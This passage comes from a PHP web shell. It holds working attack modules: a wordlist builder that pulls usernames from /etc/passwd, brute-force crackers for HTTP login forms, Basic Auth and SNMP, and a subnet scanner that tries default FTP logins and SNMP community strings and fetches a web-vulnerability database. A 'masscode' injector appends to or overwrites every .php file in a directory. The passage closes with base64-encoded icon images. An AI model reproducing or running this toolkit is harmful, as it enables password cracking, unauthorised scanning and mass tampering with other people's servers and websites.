6843if (!empty($_REQUEST['combo'])&&($_REQUEST['combo']==1)) $combo=1 ; else $combo=0;
6844if (!empty($_REQUEST['range']) && !empty($_REQUEST['output']) && !empty($_REQUEST['min']) && !empty($_REQUEST['max'])){
6845$min = $_REQUEST['min'];
6846$max = $_REQUEST['max'];
6847if($max<$min)die($errorbox ."Bad input!$et". $footer);
6848$s =$w="";
6849$out = $_REQUEST['output'];
6850$r = ($_REQUEST['range']=='a' )?'a':'A';
6851if ($_REQUEST['range']==0) $r=0;
6852for($i=0;$i<$min;$i++) $s.=$r;
6853$dic = fopen($out,'a');
6854if(is_nan($r)){
6855while(strlen($s)<=$max){
6856$w = $s;
6857if($combo)$w="$w:$w";
6858fwrite($dic,$w."\n");
6859$s++;}
6860}
6861else{
6862while(strlen($w)<=$max){
6863$w =(string)str_repeat("0",($min - strlen($s))).$s;
6864if($combo)$w="$w:$w";
6865fwrite($dic,$w."\n");
6866$s++;}
6867}
6868fclose($dic);
6869echo "<font color=yellow>Done</font>";
6870}
6871if (!empty($_REQUEST['input']) && !empty($_REQUEST['output'])){
6872$input=fopen($_REQUEST['input'],'r');
6873if (!$input){
6874if ($windows)echo $errorbox. "Unable to read from ".htmlspecialchars($_REQUEST['input']) ."$et<br>";
6875else{
6876$input=explode("\n",shelL("cat $input"));
6877$output=fopen($_REQUEST['output'],'w');
6878if ($output){
6879foreach ($input as $in){
6880$user = $in;
6881$user = trim(fgets($in)," \n\r");
6882if (!strstr($user,":"))continue;
6883$user=substr($user,0,(strpos($user,':')));
6884if($combo) fwrite($output,$user.":".$user."\n"); else fwrite($output,$user."\n");
6885}
6886fclose($input);fclose($output);
6887echo "<font color=yellow>Done</font>";
6888}
6889}
6890}
6891else{
6892$output=fopen($_REQUEST['output'],'w');
6893if ($output){
6894while (!feof($input)){
6895$user = trim(fgets($input)," \n\r");
6896if (!strstr($user,":"))continue;
6897$user=substr($user,0,(strpos($user,':')));
6898if($combo) fwrite($output,$user.":".$user."\n"); else fwrite($output,$user."\n");
6899}
6900fclose($input);fclose($output);
6901echo "<font color=yellow>Done</font>";
6902}
6903else echo $errorbox." Unable to write data to ".htmlspecialchars($_REQUEST['input']) ."$et<br>";
6904}
6905}elseif (!empty($_REQUEST['url']) && !empty($_REQUEST['output'])){
6906$res=downloadiT($_REQUEST['url'],$_REQUEST['output']);
6907if($combo && $res){
6908$file=file($_REQUEST['output']);
6909$output=fopen($_REQUEST['output'],'w');
6910foreach ($file as $v)fwrite($output,"$v:$v\n");
6911fclose($output);
6912}
6913echo "<font color=yellow>Done</font>";
6914}else{
6915$temp=whereistmP();
6916echo "<center>
6917<table>
6918<tr valign=top><td>
6919<table>Wordlist generator:<form method=\"POST\">
6920<tr>
6921<td width=\"20%\" bgcolor=\"#666666\">Range:</td>
6922<td bgcolor=\"#666666\">
6923<select name=range>
6924<option value=a>a-z</option>
6925<option value=Z>A-Z</option>
6926<option value=0>0-9</option></select>
6927</td></tr>
6928<tr>
6929<td width=\"20%\" bgcolor=\"#808080\">Min lenght:</td>
6930<td bgcolor=\"#808080\">
6931<select name=min>
6932<option value=1>1</option>
6933<option value=2>2</option>
6934<option value=3>3</option>
6935<option value=4>4</option>
6936<option value=5>5</option>
6937<option value=6>6</option>
6938<option value=7>7</option>
6939<option value=8>8</option>
6940<option value=9>9</option>
6941<option value=10>10</option>
6942</select>
6943</td></tr>
6944<tr><td width=\"20%\" bgcolor=\"#666666\">Max lenght:</td>
6945<td bgcolor=\"#666666\">
6946<select name=max><option value=2>2</option><option value=3>3</option><option value=4>4</option><option value=5>5</option><option value=6>6</option><option value=7>7</option><option value=8 selected>8</option><option value=9>9</option><option value=10>10</option><option value=11>11</option><option value=12>12</option><option value=13>13</option><option value=14>14</option><option value=15>15</option></select>
6947</td></tr>
6948<tr><td width=\"20%\" bgcolor=\"#808080\">Output:</td><td bgcolor=\"#808080\"><input type=text value=\"$temp/.dic\" name=output size=35></td></tr>
6949<tr><td width=\"20%\" bgcolor=\"#666666\"></td><td bgcolor=\"#666666\"><input type=checkbox name=combo style=\"border-width:1px;background-color:#666666;\" value=1 checked>Combo style output</td></tr>
6950<tr><td bgcolor=\"#808080\"></td><td bgcolor=\"#808080\" align=right>$hcwd<input class=buttons type=submit value=Make></td></tr></form></table>
6951</td><td>
6952<table>Grab dictionary:
6953<form method=\"POST\">
6954<tr><td width=\"20%\" bgcolor=\"#666666\">Grab from:</td>
6955<td bgcolor=\"#666666\"><input type=text value=\"/etc/passwd\" name=input size=35></td></tr>
6956<tr><td width=\"20%\" bgcolor=\"#808080\">Output:</td>
6957<td bgcolor=\"#808080\"><input type=text value=\"$temp/.dic\" name=output size=35></td></tr>
6958<tr><td width=\"20%\" bgcolor=\"#666666\"></td><td bgcolor=\"#666666\"><input type=checkbox style=\"border-width:1px;background-color:#666666;\" name=combo value=1 checked>Combo style output</td></tr>
6959<tr>
6960<td bgcolor=\"#808080\"></td><td bgcolor=\"#808080\" align=right>$hcwd<input class=buttons type=submit value=Grab></td></tr></form>
6961</table>
6962</td><td>
6963<table>Download dictionary:<form method=\"POST\">
6964<tr><td width=\"20%\" bgcolor=\"#666666\">URL:</td><td bgcolor=\"#666666\"><input type=text value=\"http://vburton.ncsa.uiuc.edu/wordlist.txt\" name=url size=35></td></tr>
6965<tr><td width=\"20%\" bgcolor=\"#808080\">Output:</td><td bgcolor=\"#808080\"><input type=text value=\"$temp/.dic\" name=output size=35></td></tr>
6966<tr><td width=\"20%\" bgcolor=\"#666666\"></td><td bgcolor=\"#666666\"><input type=checkbox style=\"border-width:1px;background-color:#666666;\" name=combo value=1 checked>Combo style output</td></tr>
6967<tr><td bgcolor=\"#808080\"></td><td bgcolor=\"#808080\" align=right>$hcwd<input class=buttons type=submit value=Get></td></tr></form></table>
6968</td>
6969</tr></table>
6970</center> ";}
6971}
6972
6973if ($act == "htmlform")
6974{
6975global $errorbox,$footer,$et,$hcwd;
6976if(!empty($_REQUEST['start'])){
6977$url=$_REQUEST['target'];
6978$uf=$_REQUEST['userf'];
6979$pf=$_REQUEST['passf'];
6980$sf=$_REQUEST['submitf'];
6981$sv=$_REQUEST['submitv'];
6982$method=$_REQUEST['method'];
6983$fail=$_REQUEST['fail'];
6984$dic=$_REQUEST['dictionary'];
6985$type=$_REQUEST['combo'];
6986$user=(!empty($_REQUEST['user']))?$_REQUEST['user']:"";
6987if(!file_exists($dic)) die("$errorbox Can not open dictionary.$et$footer");
6988$dictionary=fopen($dic,'r');
6989echo "<font color=blue>Cracking started...<br>";
6990while(!feof($dictionary)){
6991if($type){
6992$combo=trim(fgets($dictionary)," \n\r");
6993$user=substr($combo,0,strpos($combo,':'));
6994$pass=substr($combo,strpos($combo,':')+1);
6995}else{
6996$pass=trim(fgets($dictionary)," \n\r");
6997}
6998$url.="?$uf=$user&$pf=$pass&$sf=$sv";
6999$res=check_urL($url,$method,$fail,12);
7000if (!$res){echo "<font color=blue>U: $user P: $pass</font><br>";flusheR();if(!$type)break;}
7001flusheR();
7002}
7003fclose($dictionary);
7004echo "Done!</font><br>";
7005}
7006else echo "<center><table border=0 style=\"border-collapse: collapse\" bordercolor=\"#282828\" width=\"434\"><tr><td width=\"174\" bgcolor=\"#333333\">HTTP Form cracker:</td><td bgcolor=\"#333333\" width=\"253\"></td></tr><form method=\"POST\" name=form><tr><td width=\"174\" bgcolor=\"#666666\">Dictionary:</td><td bgcolor=\"#666666\" width=\"253\"><input type=text name=dictionary size=35></td></tr><tr><td width=\"174\" bgcolor=\"#808080\">Dictionary type:</td><td bgcolor=\"#808080\"><input type=radio name=combo checked value=0 onClick=\"document.form.user.disabled = false;\" style=\"border-width:1px;background-color:#808080;\">Simple (P)<input type=radio value=1 name=combo onClick=\"document.form.user.disabled = true;\" style=\"border-width:1px;background-color:#808080;\">Combo (U:P)</td></tr><tr><td width=\"174\" bgcolor=\"#666666\">Username:</td><td bgcolor=\"#666666\"><input type=text size=35 value=root name=user>$hcwd</td></tr><tr><td width=\"174\" bgcolor=\"#808080\">Action Page:</td><td bgcolor=\"#808080\" width=\"253\"><input type=text name=target value=\"http://".getenv('HTTP_HOST')."/login.php\" size=35></td></tr><tr><td width=\"174\" bgcolor=\"#666666\">Method:</td><td bgcolor=\"#666666\" width=\"253\"><select size=\"1\" name=\"method\"><option selected value=\"POST\">POST</option><option value=\"GET\">GET</option></select></td></tr><tr><td width=\"174\" bgcolor=\"#808080\">Username field name:</td><td bgcolor=\"#808080\" width=\"253\"><input type=text name=userf value=user size=35></td></tr><tr><td width=\"174\" bgcolor=\"#666666\">Password field name:</td><td bgcolor=\"#666666\" width=\"253\"><input type=text name=passf value=passwd size=35></td></tr><tr><td width=\"174\" bgcolor=\"#808080\">Submit name:</td><td bgcolor=\"#808080\" width=\"253\"><input type=text value=login name=submitf size=35></td></tr><tr><td width=\"174\" bgcolor=\"#666666\">Submit value:</td><td bgcolor=\"#666666\" width=\"253\"><input type=text value=\"Login\" name=submitv size=35></td></tr><tr><td width=\"174\" bgcolor=\"#808080\">Fail string:</td><td bgcolor=\"#808080\" width=\"253\"><input type=text name=fail value=\"Try again\" size=35></td></tr><tr><td width=\"174\" bgcolor=\"#666666\"></td><td bgcolor=\"#666666\" align=right width=\"253\"><input class=buttons type=submit name=start value=Start></td></tr></form></table></center>";
7007}
7008
7009if ($act == "basicauth")
7010{
7011global $errorbox,$et,$t,$crack,$hcwd;
7012if(!empty($_REQUEST['target']) && !empty($_REQUEST['dictionary'])){
7013$data='';
7014$method=($_REQUEST['method'])?'POST':'GET';
7015if(strstr($_REQUEST['target'],'?')){$data=substr($_REQUEST['target'],strpos($_REQUEST['target'],'?')+1);$_REQUEST['target']=substr($_REQUEST['target'],0,strpos($_REQUEST['target'],'?'));}
7016spliturL($_REQUEST['target'],$host,$page);
7017$type=$_REQUEST['combo'];
7018$user=(!empty($_REQUEST['user']))?$_REQUEST['user']:"";
7019if($method='GET')$page.=$data;
7020$dictionary=fopen($_REQUEST['dictionary'],'r');
7021echo "<font color=blue>";
7022while(!feof($dictionary)){
7023if($type){
7024$combo=trim(fgets($dictionary)," \n\r");
7025$user=substr($combo,0,strpos($combo,':'));
7026$pass=substr($combo,strpos($combo,':')+1);
7027}else{
7028$pass=trim(fgets($dictionary)," \n\r");
7029}
7030$so=fsockopen($host,80,$en,$es,5);
7031if(!$so){echo "$errorbox Can not connect to host$et";break;}
7032else{
7033$packet="$method /$page HTTP/1.0\r\nAccept-Encoding: text\r\nHost: $host\r\nReferer: $host\r\nConnection: Close\r\nAuthorization: Basic ".base64_encode("$user:$pass");
7034if($method=='POST')$packet.="Content-Type: application/x-www-form-urlencoded\r\nContent-Length: ".strlen($data);
7035$packet.="\r\n\r\n";
7036$packet.=$data;
7037fputs($so,$packet);
7038$res=substr(fgets($so),9,2);
7039fclose($so);
7040if($res=='20')echo "U: $user P: $pass</br>";
7041flusheR();
7042}
7043}
7044echo "Done!</font>";
7045}else echo "<center><form method=\"POST\" name=form><table><tr><td bgcolor=\"#333333\"><font color=silver>
7046HTTP Auth cracker:</font></td><td bgcolor=\"#333333\"><select name=method><option value=1>POST</option><option value=0>GET</option></select></td></tr><tr><td width=\"20%\" bgcolor=\"#666666\">Dictionary:</td><td bgcolor=\"#666666\"><input type=text name=dictionary size=35></td></tr><tr><td width=\"20%\" bgcolor=\"#808080\">Dictionary type:</td><td bgcolor=\"#808080\"><input type=radio name=combo checked value=0 onClick=\"document.form.user.disabled = false;\" style=\"border-width:1px;background-color:#808080;\">Simple (P)<input type=radio value=1 name=combo onClick=\"document.form.user.disabled = true;\" style=\"border-width:1px;background-color:#808080;\">Combo (U:P)</td></tr><tr><td width=\"20%\" bgcolor=\"#666666\">Username:</td><td bgcolor=\"#666666\"><input type=text size=35 value=root name=user></td></tr><tr><td width=\"20%\" bgcolor=\"#808080\">Server:</td><td bgcolor=\"#808080\"><input type=text name=target value=localhost size=35></td></tr><tr><td width=\"20%\" bgcolor=\"#666666\"></td><td bgcolor=\"#666666\" align=right>$hcwd<input class=buttons type=submit value=Start></td></tr></form></table></center>";
7047}
7048
7049if ($act == "snmp")
7050{
7051global $t,$et,$errorbox,$crack,$hcwd;
7052if (!empty($_REQUEST['target']) && !empty($_REQUEST['dictionary'])){
7053$target=$_REQUEST['target'];
7054$dictionary=fopen($_REQUEST['dictionary'],'r');
7055if ($dictionary){
7056echo "<font color=yellow>Cracking ".htmlspecialchars($target)."...<br>";flusheR();
7057while(!feof($dictionary)){
7058$com=trim(fgets($dictionary)," \n\r");
7059$res=snmpchecK($target,$com,2);
7060if($res)echo "$com<br>";
7061flusheR();
7062}
7063echo "<br>Done</font>";
7064fclose($dictionary);
7065}
7066else{
7067echo "$errorbox Can not open dictionary.$et";
7068}
7069}
7070 echo "<center><table width=\"50%\">SNMP cracker:<form method=\"POST\">$hcwd<tr><td width=\"20%\" bgcolor=\"#666666\">Dictionary:</td><td bgcolor=\"#666666\"><input type=text name=dictionary size=35></td></tr><tr><td width=\"20%\" bgcolor=\"#808080\">Server:</td><td bgcolor=\"#808080\"><input type=text name=target size=35></td></tr><tr><td width=\"20%\" bgcolor=\"#666666\"></td><td bgcolor=\"#666666\" align=right><input class=buttons type=submit value=Start></td></tr></form></table></center>";
7071}
7072
7073
7074
7075if ($act == "scanner")
7076{
7077global $hcwd;
7078if (!empty($_SERVER["SERVER_ADDR"])) $host=$_SERVER["SERVER_ADDR"];else $host ="127.0.0.1";
7079$udp=(empty($_REQUEST['udp']))?0:1;$tcp=(empty($_REQUEST['tcp']))?0:1;
7080if (($udp||$tcp) && !empty($_REQUEST['target']) && !empty($_REQUEST['fromport']) && !empty($_REQUEST['toport']) && !empty($_REQUEST['timeout']) && !empty($_REQUEST['portscanner'])){
7081$target=$_REQUEST['target'];$from=(int) $_REQUEST['fromport'];$to=(int)$_REQUEST['toport'];$timeout=(int)$_REQUEST['timeout'];$nu = 0;
7082echo "<font color=yellow>Port scanning started against ".htmlspecialchars($target).":<br>";
7083$start=time();
7084for($i=$from;$i<=$to;$i++){
7085if($tcp){
7086if (checkthisporT($target,$i,$timeout)){
7087$nu++;
7088$ser="";
7089if(getservbyport($i,"tcp"))$ser="(".getservbyport($i,"tcp").")";
7090echo "$nu) $i $ser (<a href=\"telnet://$target:$i\">Connect</a>) [TCP]<br>";
7091}
7092}
7093if($udp)if(checkthisporT($target,$i,$timeout,1)){$nu++;$ser="";if(getservbyport($i,"udp"))$ser="(".getservbyport($i,"udp").")";echo "$nu) $i $ser [UDP]<br>";}
7094flusheR();
7095}
7096$time=time()-$start;
7097echo "Done! ($time seconds)</font>";
7098}
7099elseif (!empty($_REQUEST['securityscanner'])){
7100echo "<font color=yellow>";
7101$start=time();
7102$from=$_REQUEST['from'];
7103$to=(int)$_REQUEST['to'];
7104$timeout=(int)$_REQUEST['timeout'];
7105$f = substr($from,strrpos($from,".")+1);
7106$from = substr($from,0,strrpos($from,"."));
7107if(!empty($_REQUEST['httpscanner'])){
7108echo "Loading webserver bug list...";
7109flusheR();
7110$buglist=whereistmP().DIRECTORY_SEPARATOR.namE();
7111$dl=@downloadiT('http://www.cirt.net/nikto/UPDATES/1.36/scan_database.db',$buglist);
7112if($dl){$file=file($buglist);echo "Done! scanning started.<br><br>";}else echo "Failed!!! scanning started without webserver security testing...<br><br>";
7113flusheR();
7114}else {$fr=htmlspecialchars($from); echo "Scanning $fr.$f-$fr.$to:<br><br>";}
7115for($i=$f;$i<=$to;$i++){
7116$output=0;
7117$ip="$from.$i";
7118if(!empty($_REQUEST['nslookup'])){
7119$hn=gethostbyaddr($ip);
7120if($hn!=$ip)echo "$ip [$hn]<br>";}
7121flusheR();
7122if(!empty($_REQUEST['ipscanner'])){
7123$port=$_REQUEST['port'];
7124if(strstr($port,","))$p=explode(",",$port);else $p[0]=$port;
7125$open=$ser="";
7126foreach($p as $po){
7127$scan=checkthisporT($ip,$po,$timeout);
7128if ($scan){
7129$ser="";
7130if($ser=getservbyport($po,"tcp"))$ser="($ser)";
7131$open.=" $po$ser ";
7132}
7133}
7134if($open){echo "$ip) Open ports:$open<br>";$output=1;}
7135flusheR();
7136}
7137if(!empty($_REQUEST['httpbanner'])){
7138$res=get_sw_namE($ip,$timeout);
7139if($res){
7140echo "$ip) Webserver software: ";
7141if($res==-1)echo "Unknow";
7142else echo $res;
7143echo "<br>";
7144$output=1;
7145}
7146flusheR();
7147}
7148if(!empty($_REQUEST['httpscanner'])){
7149if(checkthisporT($ip,80,$timeout) && !empty($file)){
7150$admin=array('/admin/','/adm/');
7151$users=array('adm','bin','daemon','ftp','guest','listen','lp','mysql','noaccess','nobody','nobody4','nuucp','operator','root','smmsp','smtp','sshd','sys','test','unknown','uucp','web','www');
7152$nuke=array('/','/postnuke/','/postnuke/html/','/modules/','/phpBB/','/forum/');
7153$cgi=array('/cgi.cgi/','/webcgi/','/cgi-914/','/cgi-915/','/bin/','/cgi/','/mpcgi/','/cgi-bin/','/ows-bin/','/cgi-sys/','/cgi-local/','/htbin/','/cgibin/','/cgis/','/scripts/','/cgi-win/','/fcgi-bin/','/cgi-exe/','/cgi-home/','/cgi-perl/');
7154foreach ($file as $v){
7155$vuln=array();
7156$v=trim($v);
7157if(!$v || $v{0}=='#')continue;
7158$v=str_replace('","','^',$v);
7159$v=str_replace('"','',$v);
7160$vuln=explode('^',$v);
7161$page=$cqich=$nukech=$adminch=$userch=$vuln[1];
7162if(strstr($page,'@CGIDIRS'))
7163foreach($cgi as $cg){
7164$cqich=str_replace('@CGIDIRS',$cg,$page);
7165$url="http://$ip$cqich";
7166$res=check_urL($url,$vuln[3],$vuln[2],$timeout);
7167if($res){$output=1;echo "$ip)".$vuln[4]." <a href=\"$url\" target=\"_blank\">$url</a><br>";}
7168flusheR();
7169}
7170elseif(strstr($page,'@ADMINDIRS'))
7171foreach ($admin as $cg){
7172$adminch=str_replace('@ADMINDIRS',$cg,$page);
7173$url="http://$ip$adminch";
7174$res=check_urL($url,$vuln[3],$vuln[2],$timeout);
7175if($res){$output=1;echo "$ip)".$vuln[4]." <a href=\"$url\" target=\"_blank\">$url</a><br>";}
7176flusheR();
7177}
7178elseif(strstr($page,'@USERS'))
7179foreach ($users as $cg){
7180$userch=str_replace('@USERS',$cg,$page);
7181$url="http://$ip$userch";
7182$res=check_urL($url,$vuln[3],$vuln[2],$timeout);
7183if($res){$output=1;echo "$ip)".$vuln[4]." <a href=\"$url\" target=\"_blank\">$url</a><br>";}
7184flusheR();
7185}
7186elseif(strstr($page,'@NUKE'))
7187foreach ($nuke as $cg){
7188$nukech=str_replace('@NUKE',$cg,$page);
7189$url="http://$ip$nukech";
7190$res=check_urL($url,$vuln[3],$vuln[2],$timeout);
7191if($res){$output=1;echo "$ip)".$vuln[4]." <a href=\"$url\" target=\"_blank\">$url</a><br>";}
7192flusheR();
7193}
7194else{
7195$url="http://$ip$page";
7196$res=check_urL($url,$vuln[3],$vuln[2],$timeout);
7197if($res){$output=1;echo "$ip)".$vuln[4]." <a href=\"$url\" target=\"_blank\">$url</a><br>";}
7198flusheR();
7199}
7200}
7201}
7202}
7203if(!empty($_REQUEST['smtprelay'])){
7204if(checkthisporT($ip,25,$timeout)){
7205$res='';
7206$res=checksmtP($ip,$timeout);
7207if($res==1){echo "$ip) SMTP relay found.<br>";$output=1;}flusheR();
7208}
7209}
7210if(!empty($_REQUEST['snmpscanner'])){
7211if(checkthisporT($ip,161,$timeout,1)){
7212$com=$_REQUEST['com'];
7213$coms=$res="";
7214if(strstr($com,","))$c=explode(",",$com);else $c[0]=$com;
7215foreach ($c as $v){
7216$ret=snmpchecK($ip,$v,$timeout);
7217if($ret)$coms .=" $v ";
7218}
7219if ($coms!=""){echo "$ip) SNMP FOUND: $coms<br>";$output=1;}
7220flusheR();
7221}
7222}
7223if(!empty($_REQUEST['ftpscanner'])){
7224if(checkthisporT($ip,21,$timeout)){
7225$usps=explode(',',$_REQUEST['userpass']);
7226foreach ($usps as $v){
7227$user=substr($v,0,strpos($v,':'));
7228$pass=substr($v,strpos($v,':')+1);
7229if($pass=='[BLANK]')$pass='';
7230$ftp=@ftp_connect($ip,21,$timeout);
7231if ($ftp){
7232if(@ftp_login($ftp,$user,$pass)){$output=1;echo "$ip) FTP FOUND: ($user:$pass) <a href=\"ftp://$ip\" target=\"_blank\">$ip</a> System type: ".ftp_systype($ftp)."<br>";}
7233}
7234flusheR();
7235}
7236}
7237}
7238if($output)echo "<hr size=1 noshade>";
7239flusheR();
7240}
7241$time=time()-$start;
7242echo "Done! ($time seconds)</font>";
7243if(!empty($buglist))unlink($buglist);
7244}
7245else{
7246$chbox=(extension_loaded('sockets'))?"<input type=checkbox name=tcp value=1 checked>TCP<input type=checkbox name=udp value=1 checked>UDP":"<input type=hidden name=tcp value=1>";
7247echo "<center><br><table border=0 cellpadding=0 cellspacing=0 style=\"border-collapse: collapse\" bordercolor=\"#282828\" bgcolor=\"#333333\" width=\"50%\"><tr><form method=\"POST\"><td>Port scanner:</td></tr><td width=\"25%\" bgcolor=\"#808080\">Target:</td><td bgcolor=\"#808080\" width=80%><input name=target value=$host size=40></td></tr><tr><td bgcolor=\"#666666\" width=25%>From:</td><td bgcolor=\"#666666\" width=25%><input name=fromport type=text value=\"1\" size=5></td></tr><tr><td bgcolor=\"#808080\" width=25%>To:</td><td bgcolor=\"#808080\" width=25%><input name=toport type=text value=\"1024\" size=5></td></tr><tr><td width=\"25%\" bgcolor=\"#666666\">Timeout:</td><td bgcolor=\"#666666\"><input name=timeout type=text value=\"2\" size=5></td><tr><td width=\"25%\" bgcolor=\"#808080\">$chbox</td><td bgcolor=\"#808080\" align=\"right\">$hcwd<input type=submit class=buttons name=portscanner value=Scan></td></tr></form></table>";
7248$host = substr($host,0,strrpos($host,"."));
7249echo "<br><table border=0 cellpadding=0 cellspacing=0 style=\"border-collapse: collapse\" bordercolor=\"#282828\" bgcolor=\"#333333\" width=\"50%\"><tr><form method=\"POST\" name=security><td>security scanner:</td></tr><td width=\"25%\" bgcolor=\"#808080\">From:</td><td bgcolor=\"#808080\" width=80%><input name=from value=$host.1 size=40> <input type=checkbox value=1 style=\"border-width:1px;background-color:#808080;\" name=nslookup checked>NS lookup</td></tr><tr><td bgcolor=\"#666666\" width=25%>To:</td><td bgcolor=\"#666666\" width=25%>xxx.xxx.xxx.<input name=to type=text value=254 size=4>$hcwd</td></tr><tr><td width=\"25%\" bgcolor=\"#808080\">Timeout:</td><td bgcolor=\"#808080\"><input name=timeout type=text value=\"2\" size=5></td></tr><tr><td width=\"25%\" bgcolor=\"#666666\"><input type=checkbox name=ipscanner value=1 checked onClick=\"document.security.port.disabled = !document.security.port.disabled;\" style=\"border-width:1px;background-color:#666666;\">Port scanner:</td><td bgcolor=\"#666666\"><input name=port type=text value=\"21,23,25,80,110,135,139,143,443,445,1433,3306,3389,8080,65301\" size=60></td></tr><tr><td width=\"25%\" bgcolor=\"#808080\"><input type=checkbox name=httpbanner value=1 checked style=\"border-width:1px;background-color:#808080;\">Get web banner</td><td bgcolor=\"#808080\"><input type=checkbox name=httpscanner value=1 checked style=\"border-width:1px;background-color:#808080;\">Webserver security scanning <input type=checkbox name=smtprelay value=1 checked style=\"border-width:1px;background-color:#808080;\">SMTP relay check</td></tr><tr><td width=\"25%\" bgcolor=\"#666666\"><input type=checkbox name=ftpscanner value=1 checked onClick=\"document.security.userpass.disabled = !document.security.userpass.disabled;\" style=\"border-width:1px;background-color:#666666;\">FTP password:</td><td bgcolor=\"#666666\"><input name=userpass type=text value=\"anonymous:admin@nasa.gov,ftp:ftp,Administrator:[BLANK],guest:[BLANK]\" size=60></td></tr><tr><td width=\"25%\" bgcolor=\"#808080\"><input type=checkbox name=snmpscanner value=1 onClick=\"document.security.com.disabled = !document.security.com.disabled;\" checked style=\"border-width:1px;background-color:#808080;\">SNMP:</td><td bgcolor=\"#808080\"><input name=com type=text value=\"public,private,secret,cisco,write,test,guest,ilmi,ILMI,password,all private,admin,all,system,monitor,agent,manager,OrigEquipMfr,default,tivoli,openview,community,snmp,snmpd,Secret C0de,security,rmon,rmon_admin,hp_admin,NoGaH$@!,agent_steal,freekevin,0392a0,cable-docsis,fubar,ANYCOM,Cisco router,xyzzy,c,cc,cascade,yellow,blue,internal,comcomcom,apc,TENmanUFactOryPOWER,proxy,core,regional\" size=60></td></tr><tr><td width=\"25%\" bgcolor=\"#666666\"></td><td bgcolor=\"#666666\" align=\"right\"><input type=submit class=buttons name=securityscanner value=Scan></td></tr></form></table></center><br><center>";
7250}
7251}
7252
7253if ($act == "masscode")
7254{
7255if(isset($_POST['dir']) &&
7256 $_POST['dir'] != '' &&
7257 isset($_POST['filetype']) &&
7258 $_POST['filetype'] != '' &&
7259 isset($_POST['mode']) &&
7260 $_POST['mode'] != '' &&
7261 isset($_POST['message']) &&
7262 $_POST['message'] != ''
7263 )
7264 {
7265 $dir = $_POST['dir'];
7266 $filetype = $_POST['filetype'];
7267 $message = $_POST['message'];
7268
7269 $mode = "a"; //default mode
7270
7271
7272 // Modes Begin
7273
7274 if($_POST['mode'] == 'Apender')
7275 {
7276 $mode = "a";
7277 }
7278 if($_POST['mode'] == 'Overwriter')
7279 {
7280 $mode = "w";
7281 }
7282
7283 if($handle = opendir($dir))
7284 {
7285 ?>
7286 Overwritten Files :-
7287 <ul style="padding: 5px;" >
7288 <?php
7289 while(($file = readdir($handle)) !== False)
7290 {
7291 if((preg_match("/$filetype".'$'.'/', $file , $matches) != 0) && (preg_match('/'.$file.'$/', $self , $matches) != 1))
7292 {
7293 ?>
7294 <li class="file"><a href="<?php echo "$self?open=$dir$file"?>"><?php echo $file; ?></a></li>
7295 <?php
7296 echo "\n";
7297 $fd = fopen($dir.$file,$mode);
7298 if (!$fd) echo "<p><font color=red>Permission Denied</font></p>"; break;
7299 fwrite($fd,$message);
7300 }
7301 }
7302 ?>
7303 </ul>
7304 <?php
7305 }
7306 }
7307 else
7308 {
7309 ?>
7310 <table >
7311
7312 <form method='POST'>
7313 <input type="hidden" name="injector"/>
7314 <tr>
7315 <td class="title">
7316 Directory
7317 </td>
7318 <td>
7319 <input name="dir" value="<?php echo getcwd().$SEPARATOR; ?>" />
7320 </td>
7321 </tr>
7322 <tr>
7323 <td class="title">
7324 Mode
7325 </td>
7326 <td>
7327 <select style="width: 125px;" name="mode">
7328 <option value="Apender">Apender</option>
7329 <option value="Overwriter">Overwriter</option>
7330 </select>
7331 </td>
7332 </tr>
7333 <tr>
7334 <td class="title">
7335 File Type
7336 </td>
7337 <td>
7338 <input type="text" class="cmd" name="filetype" value=".php" onblur="if(this.value=='')this.value='.php';" />
7339 </td>
7340 </tr>
7341
7342
7343 <tr>
7344 <td colspan="2">
7345 <textarea name="message" cols="110" rows="10" class="cmd">I cant forget the time, i was trying to learn all this stuff without some guidance ..</textarea>
7346 </td>
7347 </tr>
7348
7349
7350 <tr>
7351 <td rowspan="2">
7352 <input style="margin : 20px; margin-left: 315px; padding : 10px; width: 100px;" type="submit" value="Inject :D"/>
7353 </td>
7354 </tr>
7355 </form>
7356 </table>
7357 <?php
7358 }
7359}
7360
7361}
7362else
7363
7364{
7365
7366 @ob_clean();
7367
7368 $images = array(
7369
7370"arrow_ltr"=>
7371
7372"R0lGODlhJgAWAIAAAAAAAP///yH5BAUUAAEALAAAAAAmABYAAAIvjI+py+0PF4i0gVvzuVxXDnoQ".
7373
7374"SIrUZGZoerKf28KjPNPOaku5RfZ+uQsKh8RiogAAOw==",
7375
7376"back"=>
7377
7378"R0lGODlhFAAUAKIAAAAAAP///93d3cDAwIaGhgQEBP///wAAACH5BAEAAAYALAAAAAAUABQAAAM8".
7379
7380"aLrc/jDKSWWpjVysSNiYJ4CUOBJoqjniILzwuzLtYN/3zBSErf6kBW+gKRiPRghPh+EFK0mOUEqt".
7381
7382"Wg0JADs=",
7383
7384"buffer"=>
7385
7386"R0lGODlhFAAUAKIAAAAAAP////j4+N3d3czMzLKysoaGhv///yH5BAEAAAcALAAAAAAUABQAAANo".
7387
7388"eLrcribG90y4F1Amu5+NhY2kxl2CMKwrQRSGuVjp4LmwDAWqiAGFXChg+xhnRB+ptLOhai1crEmD".
7389
7390"Dlwv4cEC46mi2YgJQKaxsEGDFnnGwWDTEzj9jrPRdbhuG8Cr/2INZIOEhXsbDwkAOw==",
7391
7392"change"=>
7393
7394"R0lGODlhFAAUAMQfAL3hj7nX+pqo1ejy/f7YAcTb+8vh+6FtH56WZtvr/RAQEZecx9Ll/PX6/v3+".
7395
7396"/3eHt6q88eHu/ZkfH3yVyIuQt+72/kOm99fo/P8AZm57rkGS4Hez6pil9oep3GZmZv///yH5BAEA".
7397
7398"AB8ALAAAAAAUABQAAAWf4CeOZGme6NmtLOulX+c4TVNVQ7e9qFzfg4HFonkdJA5S54cbRAoFyEOC".
7399
7400"wSiUtmYkkrgwOAeA5zrqaLldBiNMIJeD266XYTgQDm5Rx8mdG+oAbSYdaH4Ga3c8JBMJaXQGBQgA".
7401
7402"CHkjE4aQkQ0AlSITan+ZAQqkiiQPj1AFAaMKEKYjD39QrKwKAa8nGQK8Agu/CxTCsCMexsfIxjDL".
7403
7404"zMshADs=",
7405
7406"delete"=>
7407
7408"R0lGODlhFAAUAOZZAPz8/NPFyNgHLs0YOvPz8/b29sacpNXV1fX19cwXOfDw8Kenp/n5+etgeunp".
7409
7410"6dcGLMMpRurq6pKSktvb2+/v7+1wh3R0dPnP17iAipxyel9fX7djcscSM93d3ZGRkeEsTevd4LCw".
7411
7412"sGRkZGpOU+IfQ+EQNoh6fdIcPeHh4YWFhbJQYvLy8ui+xm5ubsxccOx8kcM4UtY9WeAdQYmJifWv".
7413
